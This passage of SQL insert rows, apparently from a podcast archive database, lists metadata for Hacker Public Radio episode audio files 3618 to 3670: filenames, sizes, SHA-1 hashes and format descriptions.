(3618,'hpr3618.spx','spx',1943881,'d66302dbe6642131508d5afbfc9f721dd9aa20ed','application/ogg; charset=binary','Ogg data, Speex audio'),
(3619,'hpr3619.mp3','mp3',33367649,'ed8c21739a54f1cc1b89538f59d4bebbe1c665c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3619,'hpr3619.ogg','ogg',45383687,'a43aa2a798781b3cb3a0382bb2f1d858ceb99c7d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3619,'hpr3619.spx','spx',15753426,'d357aed5b95a5e9a6eafcc23ade751a786cc299b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3620,'hpr3620.mp3','mp3',10903453,'05ae46d5941cff5c25204dcbf7bc42812492212c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(3620,'hpr3620.ogg','ogg',12337075,'be28bbe11655c642b92d4881e890345b221ba88a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(3620,'hpr3620.spx','spx',4869252,'8bbc8bf1c1f85e98e2e2013d76415aaae0707d79','application/ogg; charset=binary','Ogg data, Speex audio'),
(3621,'hpr3621.mp3','mp3',10541669,'8cba90e52573cb8088cc486f05ef77eff4e53019','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3621,'hpr3621.ogg','ogg',14919090,'e0ff014562cc129d3b493e75b5909cdd607c4a4e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3621,'hpr3621.spx','spx',4976685,'6d25281c34acb21acfddf06deb093090ab440a52','application/ogg; charset=binary','Ogg data, Speex audio'),
(3622,'hpr3622.mp3','mp3',11486472,'8dcbcc2459ef8d0a8a368124ee3a102aa6299f4f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3622,'hpr3622.ogg','ogg',16540038,'29fffdc39e74984bd0a653c04a647a3a226f2c23','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3622,'hpr3622.spx','spx',5422792,'c1e6852321d25d43420596040c58f9c5c5a738e1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3623,'hpr3623.mp3','mp3',20546046,'2db36f3beafd19e4bc61e7cdb8aa52cda6a64db3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3623,'hpr3623.ogg','ogg',23046056,'b2edb47b9dc39ad872ccb7fa11eabb7b9c3b009d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3623,'hpr3623.spx','spx',9700087,'6b69b6f152fc19a66b113960c136b53b0796ba72','application/ogg; charset=binary','Ogg data, Speex audio'),
(3624,'hpr3624.mp3','mp3',7179744,'491c94090a7e925fed970464f98c9c15842bbfaa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3624,'hpr3624.ogg','ogg',10001823,'1a8639ff166aeb8c40233e46c54d09972e91883f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3624,'hpr3624.spx','spx',3389440,'aefc32f048bc6b2a3ea7a0f5c5cb4a00c27bdde5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3625,'hpr3625.mp3','mp3',10452585,'c6ed6c3fdd1d533d82b3b6fcb7c869bd06a2354b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3625,'hpr3625.ogg','ogg',14449754,'acb2dad30c198caa9eda25bb43cf9fb661976f05','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3625,'hpr3625.spx','spx',4934692,'e0c4033a6dda2f16eb196408003bceda3fc84088','application/ogg; charset=binary','Ogg data, Speex audio'),
(3626,'hpr3626.mp3','mp3',9447904,'e08777c0fd0012d4baa9481a609ee333190dffcf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3626,'hpr3626.ogg','ogg',13095387,'77be60381c3221183df1968849a2e75424ad56d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3626,'hpr3626.spx','spx',4460345,'bc76e891df0ea0313dcb34c9871ce07e09783e26','application/ogg; charset=binary','Ogg data, Speex audio'),
(3627,'hpr3627.mp3','mp3',8502590,'180b2f0f54b95ace43c1dcc954462c695c25f4cc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3627,'hpr3627.ogg','ogg',11658101,'5c9a4e94dc83feba9b67cfd55c6af808d2eaf199','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3627,'hpr3627.spx','spx',4013961,'78e67aa4687cb621f7bff873fb74a42601f648ee','application/ogg; charset=binary','Ogg data, Speex audio'),
(3628,'hpr3628.mp3','mp3',10458951,'26064cfd7c3530c6f609cbc67691a6484dd16dee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3628,'hpr3628.ogg','ogg',14678755,'4a7074d9ec12a0db81de9043bc37936d8f585046','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3628,'hpr3628.spx','spx',4937674,'0e787f066bc82b91107c3d2ec90a605ee7b426be','application/ogg; charset=binary','Ogg data, Speex audio'),
(3629,'hpr3629.mp3','mp3',35589492,'36a2012c7f33191c1a6e18c7c2d5aeb2d9a36e62','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3629,'hpr3629.ogg','ogg',48478143,'62cb6583977c8d0c6d17904360aa4295986afe1d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3629,'hpr3629.spx','spx',16802476,'2cb5fb3af4789d5d298544917134a6bb836efff5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3630,'hpr3630.mp3','mp3',9851396,'58e8772340f62a20d09ab005d9cd3d2aed4fed24','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3630,'hpr3630.ogg','ogg',14178354,'230cda45281f3dd3b6be326ead9fce3248f5244d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3630,'hpr3630.spx','spx',4650780,'19629ef6dc092b7d4037ea8c279b74b9913065bb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3631,'hpr3631.mp3','mp3',56914484,'c004d8f515311bbce46b2df39fc27dcf1c3cd56d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3631,'hpr3631.ogg','ogg',77220492,'07a98f1db666434a6358dafd2033399d000211fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3631,'hpr3631.spx','spx',26870468,'f563040eea776ca73e2f402fd9f6de9787a3c724','application/ogg; charset=binary','Ogg data, Speex audio'),
(3632,'hpr3632.mp3','mp3',15969301,'da77014e58d8100ee3e1b823169a083e50d9b9d4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3632,'hpr3632.ogg','ogg',22913833,'fb7f4df9a2623563a44e02de00d33617bd65df89','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3632,'hpr3632.spx','spx',7539199,'5f7888fbbd1e5d92c9e6933b94962c48a93a5d2f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3633,'hpr3633.mp3','mp3',6807697,'4a63e104b856e99cde8b429036612ffac12ef956','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3633,'hpr3633.ogg','ogg',9364463,'be82db228beef3b6dca83a49e42069037e1ee14b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3633,'hpr3633.spx','spx',3213844,'ccbb95e7873cf3fb915ff05510dfbafe29a05a01','application/ogg; charset=binary','Ogg data, Speex audio'),
(3634,'hpr3634.mp3','mp3',13986553,'d5e09ae9e61956c25b9aed1177530cd8a16f8290','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3634,'hpr3634.ogg','ogg',19404157,'eb30c0996cc871f806aec9c2986cb7f1566e5a2d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3634,'hpr3634.spx','spx',6603095,'d336fc2d7950ba3f0346bb0c76f8a42fe71b69b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3635,'hpr3635.mp3','mp3',2595402,'a8146ce8b26a03863093c9209843667038c6ef83','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3635,'hpr3635.ogg','ogg',3629106,'c021f80ff48478f4b8b38d18d28ee1e1f14dd130','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3635,'hpr3635.spx','spx',1225110,'22f5918d6d52f43b0871b5f105b86aeb8f4e952b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3636,'hpr3636.mp3','mp3',19439936,'56b52d76e0d201081778765357f0cb4c3311d6c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3636,'hpr3636.ogg','ogg',24200898,'d1ba687649ceaf908d242263c27ccf95cab15ace','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3636,'hpr3636.spx','spx',9177786,'cf9280cb2411e3b33adbb21471dc8d00aabf3696','application/ogg; charset=binary','Ogg data, Speex audio'),
(3637,'hpr3637.mp3','mp3',4280126,'bee9b3036da30f7afddfa79da6ea4957a3e4a3d1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3637,'hpr3637.ogg','ogg',6029027,'9a5e0267d979ab7d12415ef53c143d5b9c050a29','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3637,'hpr3637.spx','spx',2020454,'a8d5822fd056ee215c90f61f2c8d3b1eebab1e13','application/ogg; charset=binary','Ogg data, Speex audio'),
(3638,'hpr3638.mp3','mp3',3181156,'fc469a8dc512f4662b9cbfbcaa6fd752b8c30052','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3638,'hpr3638.ogg','ogg',4403715,'84b8b14b6cde1d844bb613f02f9faa589e0dcf95','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3638,'hpr3638.spx','spx',1501618,'915c455547916f3006e782151cea3df57fc37bfa','application/ogg; charset=binary','Ogg data, Speex audio'),
(3639,'hpr3639.mp3','mp3',26743003,'e0b302560c7dfbe1e744c8a720abd19f6a920d91','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3639,'hpr3639.ogg','ogg',36186529,'110b8cf2f787a88954ee2d675977f2b65cbbf7ca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3639,'hpr3639.spx','spx',12625700,'ad6a99f9f85b5e5f41067e234e76cc97f7909a8e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3640,'hpr3640.mp3','mp3',7673165,'3d6b7283d49c9ce6092e7d0041c4f8ad9c36f51a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3640,'hpr3640.ogg','ogg',11099882,'345dbff9fa7aaacbc58f2b12ef5cad79f5c7dc3f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3640,'hpr3640.spx','spx',3622368,'5379a0365814ebcb86551f0d64f7683f7add6430','application/ogg; charset=binary','Ogg data, Speex audio'),
(3641,'hpr3641.mp3','mp3',3484097,'f4ffe6664d9b7adb2e9cdcc230852f2721805324','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3641,'hpr3641.ogg','ogg',5024365,'a0abb14e86b6ae0a4f339a1baf379f512e95e030','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3641,'hpr3641.spx','spx',1644660,'c3a736b467348584b2db62b79385d0282376194d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3642,'hpr3642.mp3','mp3',48284054,'2e996a5b037369103ac3730d870317bec3a24801','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3642,'hpr3642.ogg','ogg',62528225,'025b4624c8cc0f5128b5cf8ce18bfad4dbd630a8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3642,'hpr3642.spx','spx',22795805,'302b028c17ddc73fecdeb166e4e47db38d6e7692','application/ogg; charset=binary','Ogg data, Speex audio'),
(3643,'hpr3643.mp3','mp3',27408480,'956fd7e874b8053f2a84644b23ceaf928da4ceef','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3643,'hpr3643.ogg','ogg',39896039,'dccba685bd0b70157afa9a93db9d655a657b625c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3643,'hpr3643.spx','spx',12939945,'0e47cf335ebd7085dcebccc9f1494789100dcf92','application/ogg; charset=binary','Ogg data, Speex audio'),
(3644,'hpr3644.mp3','mp3',12513916,'d5a94bcf36489654c92ecc1db25fe2f0daee9caa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3644,'hpr3644.ogg','ogg',17518461,'723c77551fba19465d8d30e9e7da8e56644b9c21','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3644,'hpr3644.spx','spx',5907826,'5d3fbff441fb20c65207a7fddcf32def25f0d769','application/ogg; charset=binary','Ogg data, Speex audio'),
(3645,'hpr3645.mp3','mp3',7488906,'c1cabbc5fe18f09d9195a42ebf9a7e40662a0177','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3645,'hpr3645.ogg','ogg',10455582,'ca8dda94ee0a2c9f458e1dd7984946d8088af9f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3645,'hpr3645.spx','spx',3535407,'d98da6b97bc3d2c82f5c95e7a8913b938b2fcb9e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3646,'hpr3646.mp3','mp3',7322172,'1f8f6aba0e3777134d9a32394658188b4886dcad','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3646,'hpr3646.ogg','ogg',10683950,'e756ea109941edd6c22cbe2c5ca0f05e7e39af7d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3646,'hpr3646.spx','spx',3456639,'78c667689d0d11925839bae90e0ac79412800b80','application/ogg; charset=binary','Ogg data, Speex audio'),
(3647,'hpr3647.mp3','mp3',8679800,'c0ab4305a951f33a3ac4e379a1d153f409b784fb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3647,'hpr3647.ogg','ogg',12618115,'b3350895fa32a53b38be1bb650793145530454f2','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3647,'hpr3647.spx','spx',4097648,'38a1a37334a7f2031c1491b0f349545be07212d0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3648,'hpr3648.mp3','mp3',14106355,'0f1c8d980417de68f3b585d2f22c4f51dbd43d4f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3648,'hpr3648.ogg','ogg',19382022,'ba319e49747a2c8f3597b5cc0c0ef86c8c9b4751','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3648,'hpr3648.spx','spx',6659665,'c3592f55704bfad17466ff48bb9c57c2fedf03d9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3649,'hpr3649.mp3','mp3',35200778,'c55da3774e07d31b14663ff45355152029691182','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3649,'hpr3649.ogg','ogg',48243423,'b911d809473cb3edabdc27da77421bd1fc6ed14d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3649,'hpr3649.spx','spx',16618797,'548d319b3b43c6068a552b5ea8d76067b8af2e72','application/ogg; charset=binary','Ogg data, Speex audio'),
(3650,'hpr3650.mp3','mp3',7928746,'2beb4b8d60db1cc97d740e55c7bf9b9dfde4b3e8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3650,'hpr3650.ogg','ogg',11343352,'8d71ce3cfaa57cbe2602c8f919de2b3b7b9ad5f7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3650,'hpr3650.spx','spx',3743111,'c9ecbf4f28d3061569840e680c34d68ecffbeecc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3651,'hpr3651.mp3','mp3',24357620,'ac739821febdf0af66b8b01b55b8a446b284d3ec','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3651,'hpr3651.ogg','ogg',33452026,'b3f602d78a4db04bfc0e85609579479cb578cbcf','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3651,'hpr3651.spx','spx',11499578,'31694a2406559257932eb7f289033d61fe04e261','application/ogg; charset=binary','Ogg data, Speex audio'),
(3652,'hpr3652.mp3','mp3',6167142,'9d21f1bf753ff85488ba586dc44630a588b73da0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3652,'hpr3652.ogg','ogg',8440487,'97c94ee5052ab45919713fd292b4a43e53dcb48e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3652,'hpr3652.spx','spx',2911416,'c0135b40c64a9918e6c3db68aff15bbe1164fe56','application/ogg; charset=binary','Ogg data, Speex audio'),
(3653,'hpr3653.mp3','mp3',1075645,'3f53e118e52a83a57336cd6fe84a1c5a12fdc38b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3653,'hpr3653.ogg','ogg',1556969,'9ce120165a0884ecc5789ee7f70f13a4c4bfbb31','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3653,'hpr3653.spx','spx',507478,'7652d65407adb09db5e242e244a2d03abff22b89','application/ogg; charset=binary','Ogg data, Speex audio'),
(3654,'hpr3654.mp3','mp3',7105843,'6115005874261095f755a73129ed9d1979408258','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3654,'hpr3654.ogg','ogg',9969158,'e41a50223a9a8ceef8cf6826fe1e2fc48145ad3c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3654,'hpr3654.spx','spx',3354565,'6ca8d22b7178ae21d118bea02fb8329d938aabd6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3655,'hpr3655.mp3','mp3',33233574,'5a81caa96430e77d5fa0efcd2d0939abbfa95ebf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3655,'hpr3655.ogg','ogg',47646421,'e0c68184e64cde4fb948c3454bdfb279bac64d0e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3655,'hpr3655.spx','spx',15690132,'5fd3e61e8510174fb02338002f8b0952b420f58d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3656,'hpr3656.mp3','mp3',9839376,'577e3a266567301aed36a507107bf4b7bea01ec3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3656,'hpr3656.ogg','ogg',13831412,'63ccb3331c493f33e18c8d68d3f2bb8604985893','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3656,'hpr3656.spx','spx',4645002,'fe628433a938c1bd7aed4b6fe16ed7dcc06d453e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3657,'hpr3657.mp3','mp3',13192995,'76fd0c5f3ef0ceed3986afe168f8316b7b5a2f6c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3657,'hpr3657.ogg','ogg',19223272,'579288f42ff489b25d58c1ea3c3f9b35189ccde4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3657,'hpr3657.spx','spx',6228345,'021d3b048b5444c16d09ea498860bfcc5bca76b8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3658,'hpr3658.mp3','mp3',16452038,'3b135d1c8d213a60c3e6923e04f279b0929893d9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3658,'hpr3658.ogg','ogg',22466149,'b4d61b8662857fd3d6798d2258980b75a0a958ee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3658,'hpr3658.spx','spx',7767095,'39ad5bb540ef14604a73d2cddc43b53e18a61700','application/ogg; charset=binary','Ogg data, Speex audio'),
(3659,'hpr3659.mp3','mp3',6038152,'ddb8008ea6dea2895d67f7793500bd8bedc7a01a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3659,'hpr3659.ogg','ogg',7527734,'c3adde93c340288dacc5c55d0661aeeb69cfc4f6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3659,'hpr3659.spx','spx',2850319,'def4d9dc6cf882d7d45dcfea324971a7c6db25c5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3660,'hpr3660.mp3','mp3',4527653,'40b708e8f6db56540ab6ccf2c4f16862fb1eb8ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3660,'hpr3660.ogg','ogg',6568549,'d7a7338867894fa234fef8dd8882437b65f26ab0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3660,'hpr3660.spx','spx',2137281,'8d05bc56d53f73edc7e4a179a46f6958fe6326bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3661,'hpr3661.mp3','mp3',3535549,'7edcf7f2c8eedded7674e3b02a7d74b732a20961','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3661,'hpr3661.ogg','ogg',4946006,'2fab58a200a34c69e37a260e750ef108bedd090a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3661,'hpr3661.spx','spx',1668892,'4f456d3f2478ca1aebd3503a8d65f57d1b2653b1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3662,'hpr3662.mp3','mp3',89480165,'98d9cc6aaf6f5e474fb88caa33c8043cf1a43adf','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3662,'hpr3662.ogg','ogg',117040294,'04a4f5912edf5ce9afa229681292afd068751db9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3662,'hpr3662.spx','spx',42375038,'69e21bf6e1a5c38bfdbc567d927db24052c95fe8','application/ogg; charset=binary','Ogg data, Speex audio'),
(3663,'hpr3663.mp3','mp3',3511937,'d85a28a41a11aa2f947e7f933d8aab7675525fb1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3663,'hpr3663.ogg','ogg',5124644,'8f67b460705bddf7b7a96e46fbf7904d2ecb92e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3663,'hpr3663.spx','spx',1657790,'916a180b210bf3b44180159996357e9efc6812a6','application/ogg; charset=binary','Ogg data, Speex audio'),
(3664,'hpr3664.mp3','mp3',9208811,'572724dc1e1a0695d9da8e855207f19cde7a77f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3664,'hpr3664.ogg','ogg',13452300,'79407dfed909d198d7454ebb82fb537d91607301','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3664,'hpr3664.spx','spx',4347257,'67d32bceab4b6f206705553937c3939d01320cb0','application/ogg; charset=binary','Ogg data, Speex audio'),
(3665,'hpr3665.mp3','mp3',29334612,'9ee986efb583d3fb949f98d5848091290883b884','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3665,'hpr3665.ogg','ogg',42276620,'35a430ce700c22e92015322b12689dca17d8e05e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3665,'hpr3665.spx','spx',13849191,'074fc1ee877d4df54008d67ec53dc3ca7967c7bb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3666,'hpr3666.mp3','mp3',8623629,'65eecdc4183d19421c587a979263502ae4dddca9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3666,'hpr3666.ogg','ogg',11972268,'73a1af3213eb74988657490c6720bd09621d051a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3666,'hpr3666.spx','spx',4071045,'ad1ffd6092a0d5a7eac6da84ce0b9055f04d147d','application/ogg; charset=binary','Ogg data, Speex audio'),
(3667,'hpr3667.mp3','mp3',90794621,'c495b9825d4b8ef77196f5dbdb9c869a727f4a04','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3667,'hpr3667.ogg','ogg',116540461,'86c63ad9e4cd8f3a868916aa2fb930cd2502a45d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3667,'hpr3667.spx','spx',42866048,'ad1554b6f72ee8d231da1a20ddcd2ba215264333','application/ogg; charset=binary','Ogg data, Speex audio'),
(3668,'hpr3668.mp3','mp3',44758784,'a46f5077c49bf950614efb7b1bd8e722abbff8a6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3668,'hpr3668.ogg','ogg',63504867,'2679cf5319752da165375081b22b084a1e71a8e1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3668,'hpr3668.spx','spx',21131390,'281e3aed59b46e3b5a494b1e4a87798bc7231528','application/ogg; charset=binary','Ogg data, Speex audio'),
(3669,'hpr3669.mp3','mp3',10303275,'cf9cb6ecd9128a9f34ec2316f70d798b6d650c15','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3669,'hpr3669.ogg','ogg',14722805,'aca183a53abb2fa951ae9d3dfc4783c749f9c2ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3669,'hpr3669.spx','spx',4864020,'60d02e5b98ee42635b3d21b2c45e0d0cab62017b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3669,'hpr3669.wav','wav',327680,'ad3aee9a67b53ed5c50d17814fa20d0c88b61118','audio/x-wav; charset=binary','RIFF (little-endian) data, WAVE audio, mono 192000 Hz'),
(3670,'hpr3670.mp3','mp3',8557328,'a7ddfe932fcc7cbd8d62109d6695cbdfd4f67151','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
